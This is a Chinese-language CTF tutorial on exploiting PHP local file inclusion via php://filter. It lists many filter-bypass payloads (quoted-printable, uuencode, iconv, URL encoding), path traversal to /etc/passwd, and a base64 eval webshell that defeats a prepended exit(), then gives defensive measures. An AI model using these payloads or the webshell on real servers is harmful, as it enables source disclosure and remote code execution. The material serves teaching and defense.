PHP文件包含漏洞实战:php://filter编码绕过与攻防解析
1. 项目概述:从一道CTF题看透php://filter的攻防博弈
最近在带新人打BUUCTF的Web题,发现很多朋友对 php://filter 这个伪协议在文件包含漏洞里的应用,理解得还是不够透彻。大家可能知道用 convert.base64-encode 去读源码,但一旦题目加了点过滤,比如把 base64 或者 read 这些关键词给ban了,就有点手足无措。这其实是因为对 php://filter 这个“瑞士军刀”的完整能力体系不够熟悉。今天,我就借一道经典的BUUCTF题目,把 php://filter 在文件包含漏洞中的各种花式玩法,尤其是编码绕过姿势,给大家掰开揉碎了讲清楚。这不仅仅是解一道题,更是理解PHP在处理文件流时的底层逻辑,以及防守方如何设防、攻击方如何见招拆招的过程。无论你是刚入门CTF的萌新,还是想深化Web安全理解的进阶者,这篇手把手的实战解析都能让你有所收获。
2. 核心漏洞原理与php://filter机制深度解析
2.1 文件包含漏洞的本质:信任的滥用
文件包含漏洞,无论是本地文件包含(LFI)还是远程文件包含(RFI),其根源都在于程序过度信任了用户的输入。看下面这段最经典的漏洞代码:
<?php
$file = $_GET['file'];
include($file);
?>
这段代码的本意,可能是为了动态加载不同的页面模板,比如 ?file=header.php 或 ?file=footer.php 。开发者期望用户传入的是一个可控的、安全的文件名。然而, include 、 require 、 include_once 、 require_once 这些函数,在PHP中能力非常强大。它们不仅仅是包含并执行PHP代码,当与特定协议结合时,还能读取文件内容。
漏洞产生的关键点在于,开发者没有对 $_GET[‘file’] 进行任何过滤或白名单校验。攻击者因此可以注入任意路径或协议,让服务器去包含非预期的资源。例如,尝试包含系统密码文件 /etc/passwd ,或者利用PHP伪协议执行任意代码。
注意 :
include和require的主要区别在于错误处理方式。include在包含失败时会产生警告(E_WARNING)并继续执行脚本;而require在失败时会产生致命错误(E_COMPILE_ERROR)并停止脚本。但在利用漏洞的效果上,两者几乎没有差别。
2.2 php://filter 伪协议:一个被低估的读取器
php://filter 是一种元封装器,设计初衷是用于在数据流打开时应用过滤器。你可以把它想象成一个功能强大的“管道处理器”。原始数据从一端( resource= 指定的文件)流入,经过一个或多个“过滤器”处理,然后从另一端输出。
它的基本语法格式是: php://filter/过滤器链/resource=目标文件
一个最简单的利用就是读取PHP源码。为什么直接包含 flag.php 只会看到空白页?因为服务器会执行其中的PHP代码。如果 flag.php 里只有 <?php echo “flag{xxx}”; ?> ,那么包含后前端只会显示 flag{xxx} 这个字符串,而看不到背后的源代码。但如果我们用 php://filter 对源码进行编码,情况就不同了:
?file=php://filter/read=convert.base64-encode/resource=flag.php
这行参数的意思是:使用 php://filter 协议,应用 read 操作(可省略),使用 convert.base64-encode 过滤器,对 resource 指定的 flag.php 文件进行编码输出。服务器会读取 flag.php 的原始字节流,经过base64编码后,再交给 include 函数。 include 会试图执行这些经过base64编码的“乱码”,这显然不是有效的PHP代码,因此不会被执行,而是直接将编码后的文本内容输出到页面。我们拿到这串base64密文,解码即可得到 flag.php 的完整源代码。
这里隐藏着一个关键点 : include 函数包含的不是文件本身,而是经过 php://filter 处理后的 数据流 。这个数据流的内容是目标文件的编码后文本。因为编码后的文本不再是有效的PHP标签和语法,所以PHP引擎不会执行它,而是将其作为普通文本或错误信息输出。这正是我们能够“读取”源码而非“执行”源码的根本原因。
2.3 过滤器链:组合拳的威力
php://filter 的强大之处在于支持过滤器链。你可以将多个过滤器像水管一样连接起来,数据依次通过各个过滤器进行处理。语法是用竖线 | 分隔多个过滤器。
例如:
php://filter/string.rot13|string.toupper|convert.base64-encode/resource=flag.php
这个过滤器链的执行顺序是:
- 读取
flag.php的内容。 - 首先经过
string.rot13过滤器(将字母旋转13位)。 - 然后经过
string.toupper过滤器(将所有字母转为大写)。 - 最后经过
convert.base64-encode过滤器(进行base64编码)。 - 将最终处理结果输出。
过滤器链在绕过过滤时非常有用。假设题目过滤了 base64 这个关键词,我们可以尝试用其他编码过滤器先处理,或者将 base64 这个词本身进行变形。例如,如果过滤函数是简单的字符串匹配,我们可以用 convert.base64-encode 这个完整的过滤器名称,它可能不会被一个只匹配 base64 的规则拦截。更进一步,我们可以利用多重编码的思想,比如先用 convert.iconv.* 过滤器改变字符集,使得最终 payload 的形态变得难以识别。
3. BUUCTF实战案例拆解与多种编码绕过姿势
我们假设一道模拟BUUCTF风格的题目,其核心代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
if(isset($file)){
if (strstr($file, "base64") !== false || strstr($file, "rot13") !== false || strstr($file, "utf8") !== false) {
die("Hacker!");
}
include($file);
} else {
show_source(__FILE__);
}
?>
题目提示 flag 在 flag.php 中。代码对 $file 参数进行了检查,如果包含 base64 、 rot13 、 utf8 这三个子串中的任意一个,就会直接结束脚本。这封堵了最常用的 convert.base64-encode 和 string.rot13 过滤器,以及一些涉及UTF8的 iconv 过滤器。
3.1 姿势一:利用其他内置编码过滤器
PHP的 php://filter 提供了丰富的内置转换过滤器,远不止 base64 和 rot13 。当这些被禁时,我们的武器库依然充足。
1. quoted-printable编码:
?file=php://filter/convert.quoted-printable-encode/resource=flag.php
quoted-printable 编码常用于电子邮件,它将非打印字符(如ASCII码大于127的字符)编码为 =XX 的形式,其中 XX 为十六进制值。PHP源码中的 < 、 > 、 ? 、 = 等符号都会被编码。例如, <?php 可能被编码为 =3C?php 。拿到输出后,可以使用在线的QP解码工具或Python的 quopri 模块进行解码。
2. uuencode编码:
?file=php://filter/convert.uuencode/resource=flag.php
uuencode是一种较老的二进制到文本的编码方式。编码后的数据以 begin 模式行开始,以 end 行结束,中间的数据每行以字符表示长度。输出是一串可读字符,解码后即可得到原文件内容。
3. 大小写转换过滤器:
?file=php://filter/string.toupper/resource=flag.php
?file=php://filter/string.tolower/resource=flag.php
这两个过滤器不进行编码,而是直接改变字符大小写。如果 flag.php 的内容只是简单的文本字符串(如 flag{hello_world} ),那么直接输出可能就能看到。但如果 flag 是在PHP代码中(如 <?php $flag=“secret”; ?> ),使用 string.toupper 后,代码会变成 <?PHP $FLAG=“SECRET”; ?> ,这可能会破坏PHP语法导致报错,但在报错信息中有时会包含文件内容片段,这也是一种信息获取的思路。
实操心得 :在实际测试中, convert.quoted-printable-encode 的绕过成功率很高,因为很多简单的过滤脚本不会想到这个相对冷门的过滤器。它的输出格式很有特点(满屏的 =XX ),一眼就能认出来。
3.2 姿势二:iconv字符集转换过滤器(高阶绕过)
这是最强大、也最灵活的一类绕过方式,利用的是 convert.iconv.<input-encoding>.<output-encoding> 过滤器。它使用 libiconv 库进行字符集转换,本质上是对字节流进行重新解释和映射。
1. 直接读取: 虽然题目过滤了 utf8 ,但 iconv 支持上百种编码。我们可以尝试其他编码,比如从 UTF-8 转到 UTF-16 或 UTF-32 ,这通常会产生包含大量空字节( \x00 )或字节序标记(BOM)的输出,这些输出以文本形式展现时就是乱码,但其中夹杂着原始字符串。
?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
?file=php://filter/convert.iconv.UTF-8.UTF-32/resource=flag.php
输出可能是一堆乱码,但仔细看,可能会在乱码中看到 f l a g 等字符以间隔空字节的形式出现。需要将这些字节流保存下来,用十六进制编辑器或编程方式提取有效信息。
2. 组合拳与构造绕过: 过滤函数 strstr($file, “utf8”) 是检查参数字符串中是否包含 “utf8” 子串。我们可以通过构造编码名称来绕过。
- 大小写变异 :
iconv支持的编码名称大小写不敏感吗?通常不敏感,但strstr大小写敏感。尝试UTF-8、Utf-8、uTf-8。?file=php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php (成功,因为用的是大写`UTF-8`) - 使用别名 :
UTF-8的别名是CP65001(Windows代码页)。可以尝试:?file=php://filter/convert.iconv.CP65001.UTF-16/resource=flag.php - 双重/多重转换 :进行多次字符集转换,使得中间过程的字符串不包含被过滤关键词。例如,先从
UTF-8转到ISO-8859-1,再从ISO-8859-1转到UTF-16。虽然最终payload里仍有UTF-8,但我们可以把它放在resource参数里,而过滤器链里不用。
这个payload里没有?file=php://filter/convert.iconv.UTF-8.ISO-8859-1|convert.iconv.ISO-8859-1.UTF-16/resource=flag.phpbase64、rot13,UTF-8出现在第一个过滤器的输入编码中,但可能不会被简单的strstr匹配到整个参数字符串中的utf8(因为这里是UTF-8)。
踩坑记录 :
iconv转换并非无损。特别是当从一种字符集转换到另一种不兼容的字符集时,无法映射的字符可能会被丢失或替换为?,导致获取的源码不完整。对于包含重要flag的PHP文件,优先尝试UTF-8、UTF-16、UTF-32、ISO-8859-1这些通用字符集之间的转换。
3.3 姿势三:字符串处理过滤器的妙用
除了编码过滤器, string.* 系列的过滤器也能在特定场景下发挥作用。
1. string.strip_tags:
?file=php://filter/string.strip_tags/resource=flag.php
这个过滤器会尝试去除数据流中的PHP和HTML标签。如果 flag.php 的内容是 <?php echo “flag{xxx}”; ?> ,经过这个过滤器后, <?php ?> 标签会被移除,最终输出可能只剩下 echo “flag{xxx}”; 甚至直接是 flag{xxx} 。 但这里有个巨坑 : strip_tags 函数在遇到非法或不完整的标签时,行为不可预测,可能造成数据截断,导致拿不到完整的flag。它更适合用于读取内容纯净的文本文件。
2. string.toupper/string.tolower: 如前所述,直接用于包含PHP文件通常会导致语法错误。但错误信息有时会泄漏路径或代码片段。可以结合 error_log 或开启详细错误显示来尝试(但这在CTF环境中通常被关闭)。
3.4 姿势四:伪协议路径与过滤器链的混合构造
有时候,过滤不仅针对过滤器名称,还可能针对 php:// 、 resource= 等协议结构本身。我们需要更巧妙地构造整个payload。
1. 利用URL编码: GET请求的参数会自动进行URL解码。我们可以对关键字符进行编码来绕过字符串匹配。
- 过滤
php://?尝试php:%2F%2F(://编码后)。 - 过滤
resource=?尝试resource%3d(=编码后)。
服务器接收到参数后,会先将其解码为?file=php:%2F%2Ffilter/convert.quoted-printable-encode/resource%3dflag.phpphp://filter/convert.quoted-printable-encode/resource=flag.php,然后再进行strstr检查,此时检查的已经是解码后的字符串,可能绕过检查。
2. 利用数据流嵌套(罕见但强大): php://filter 的 resource 不仅可以是一个文件路径,理论上可以是另一个数据流。虽然这种用法在文件包含中不常见,且受限于配置,但了解其思想有助于理解协议的灵活性。例如(此用法成功率极低,仅作原理展示):
php://filter/convert.base64-encode/resource=php://filter/convert.quoted-printable-encode/resource=flag.php
这表示先对 flag.php 进行quoted-printable编码,再将编码后的结果进行base64编码。这可以用来应对一些奇怪的过滤或检测逻辑。
4. 拓展场景:与其他漏洞和过滤方式的对抗
真实的CTF题目和渗透测试中,过滤往往不止一层。 php://filter 的利用需要结合其他技巧。
4.1 结合目录遍历与路径穿越
题目可能限制包含的文件必须在某个目录下,如 /var/www/html/ 。但 resource 参数依然可以使用相对路径进行穿越。
?file=php://filter/convert.base64-encode/resource=../../../etc/passwd
如果知道flag在其他位置,也可以用绝对路径:
?file=php://filter/convert.base64-encode/resource=/etc/passwd
4.2 绕过死亡exit()与文件写入
这是一类更高级的题型。场景是:我们能上传一个文本文件,但服务器会在文件内容开头加上 <?php exit(); ?> ,然后以 .php 后缀保存。这样,即使我们上传了木马,也会因为这行退出代码而无法执行。
利用 php://filter 的过滤器链,我们可以对文件内容进行编码处理,使得添加的 exit() 代码被“破坏”或“转移”,而我们写入的恶意代码得以保留。
方法:base64解码过滤器 假设我们上传的内容是经过base64编码的Webshell: PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4= (即 <?php eval($_POST[‘c’]);?> 的base64编码)。 服务器会在文件开头添加 <?php exit(); ?> ,文件内容变成:
<?php exit(); ?>PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4=
当我们通过文件包含漏洞去包含这个文件时,使用如下payload:
?file=php://filter/read=convert.base64-decode/resource=uploaded_file.php
convert.base64-decode 过滤器会尝试解码整个文件流。Base64解码会忽略所有非Base64字符(如 <?php exit(); ?> )。只有符合Base64字符集的 PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4= 这部分会被解码,还原成 <?php eval($_POST[‘c’]);?> 。这样, exit() 就被绕过了,我们的Webshell得以执行。
方法二:iconv字符集转换破坏 利用 convert.iconv.* 过滤器进行特定字符集转换,可能将 <?php exit(); ?> 这串字符转换成无法被PHP引擎正确解析的乱码,从而使其失效。这需要对字符集编码有较深的理解,通常作为备选方案。
4.3 对抗正则表达式与WAF
如果过滤使用的是 preg_match 正则表达式,例如 /base64|rot13|utf8/i ( i 表示不区分大小写),那么之前的大小写绕过就失效了。此时需要思考正则的匹配边界。
- 利用字符串切割 :如果正则没有很好地处理过滤器链的语法,可以尝试将关键词拆开。例如,用
convert . base64-encode(加空格,但URL中空格需编码为+或%20),或者利用php://filter允许多个/的特性:php://filter//convert.base64-encode/resource=flag.php。但PHP解析器通常能正确处理这些变形,而正则可能不能。 - 终极方案:使用其他未被过滤的过滤器 。这是最稳妥的。充分了解
php://filter的所有可用过滤器(convert.*,string.*,zlib.*等),在武器库中寻找漏网之鱼。convert.quoted-printable-encode和convert.uuencode往往是这类情况下的“黄金替补”。
5. 防御视角:如何有效防护php://filter利用
理解了攻击手法,才能更好地进行防御。从开发者和运维的角度,有以下建议:
1. 白名单校验: 最有效的方法。严格限定允许包含的文件名或路径。例如,只允许包含 home.php 、 about.php 等预定义的文件。
$allowed_files = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’];
$page = $_GET[‘page’];
if (array_key_exists($page, $allowed_files)) {
include($allowed_files[$page]);
} else {
include(‘default.php’);
}
2. 路径固定: 如果需要动态包含,将用户输入仅作为文件名的一部分,并与固定的安全目录拼接。
$file = ‘./templates/’ . basename($_GET[‘file’]) . ‘.php’;
// basename()会剥离路径,防止目录穿越
if (file_exists($file)) {
include($file);
}
3. 禁用危险函数与协议: 在生产环境中,如果不需要 php:// 等伪协议,可以在 php.ini 中通过 allow_url_include = Off 来禁用远程文件包含(对 php:// 、 data:// 等也有效)。但注意, allow_url_include 默认就是 Off , allow_url_fopen 的开启状态也会影响一些协议的使用。
4. 输入过滤与转义: 虽然不如白名单可靠,但可以作为一种补充。对用户输入进行严格的过滤,移除或转义 ../ 、 :// 、 php: 等敏感字符。注意过滤逻辑要严谨,避免被绕过。
$file = str_replace([‘../’, ‘..\\’, ‘php://’, ‘data://’, ‘zip://’], ‘’, $_GET[‘file’]);
// 注意:这种替换可能被双写绕过(如`…/./`),或编码绕过。
5. 设置open_basedir: 在 php.ini 中配置 open_basedir ,将PHP可操作的文件限制在指定的目录树中,可以有效防止目录穿越攻击读取系统敏感文件。
6. 代码审计与安全意识: 从根本上避免使用未经严格校验的动态文件包含。在代码审查时,对 include 、 require 、 file_get_contents 等函数的参数来源保持高度警惕。
6. 工具与实战排查技巧
在实战CTF或渗透测试中,面对文件包含漏洞,如何高效地利用 php://filter ?
1. 手工测试流程:
- 第一步:确认漏洞。 尝试包含一个已知存在的文件,如
?file=../../../../etc/passwd(Linux)或?file=../../../../windows/win.ini(Windows),看是否有内容回显或报错信息泄漏路径。 - 第二步:尝试读取源码。 使用最基础的
php://filter/convert.base64-encode/resource=index.php读取当前文件或疑似包含flag的文件源码。 - 第三步:遇到过滤。 如果基础payload被拦截,根据返回信息(如
Hacker!、Filtered等)判断过滤了哪些关键词。开始尝试上文提到的各种绕过姿势,顺序建议:quoted-printable->uuencode->iconv(尝试UTF-16/UTF-32)->string.toupper/tolower-> 组合过滤器链 -> 编码/变形绕过。 - 第四步:扩大战果。 读取到
index.php或其他源码后,审计代码,寻找数据库配置文件(config.php、database.php)、备份文件(flag.php.bak、.git/index)、日志文件等,进一步获取信息。
2. 常用工具与命令:
- 浏览器HackBar插件/ Burp Suite Repeater: 方便地修改和重放请求,测试各种payload。
- CyberChef(https://gchq.github.io/CyberChef/): 编码解码的神器。支持Base64、Quoted-Printable、Uuencode、ROT13、各种字符集转换等。将服务器返回的乱码数据丢进去,尝试不同的解码方式,快速得到可读结果。
- Python/脚本: 对于复杂的
iconv转换或自定义编码,写个小脚本进行处理是最灵活的。import sys import base64 import quopri # 假设从服务器拿到的是quoted-printable编码的内容 qp_encoded = “=3C?php=20echo=20...” decoded = quopri.decodestring(qp_encoded) print(decoded.decode(‘utf-8’, errors=‘ignore’))
3. 常见错误与排查:
- 无回显或空白页: 可能包含的文件不存在、路径错误、或包含后代码执行但没有输出。尝试包含一个肯定存在的文件(如自身
index.php)来验证漏洞是否存在。检查是否需要目录穿越。 - 报错“No such file or directory”: 仔细检查路径。使用
php://filter/convert.base64-encode/resource=./index.php(相对路径)或绝对路径。在Linux下,可以利用/proc/self/cwd/来指向当前工作目录,有时比相对路径更可靠。 - 过滤器导致内容损坏: 特别是使用
iconv或string.strip_tags时,可能导致输出的Base64编码不完整或格式错误,无法解码。尝试换用更“温和”的过滤器,如convert.base64-encode是首选。如果被过滤,优先尝试convert.quoted-printable-encode。 - 包含后代码被执行: 如果目标文件是纯PHP代码,且我们的过滤器没能成功将其“文本化”(例如过滤器链配置错误或没生效),那么
include就会执行它。此时应检查过滤器语法是否正确,或者尝试在过滤器链末尾添加一个破坏PHP语法的过滤器,如string.rot13(如果没被过滤),它会让所有字母移位,从而破坏<?php标签。
玩转 php://filter 的关键在于对PHP流过滤器的熟悉度和灵活组合的能力。这道BUUCTF题只是一个引子,背后是Web安全中关于输入验证、协议解析和编码解码的深刻知识。多动手实践,多总结不同过滤场景下的绕过方法,你的武器库才会越来越丰富。在实战中,保持思维发散,不要被题目表面的过滤词限制住,善于利用官方文档(PHP手册中关于 php://filter 和 支持的过滤器 的部分)去寻找那些“不起眼”但功能强大的选项,往往能出奇制胜。
更多推荐
所有评论(0)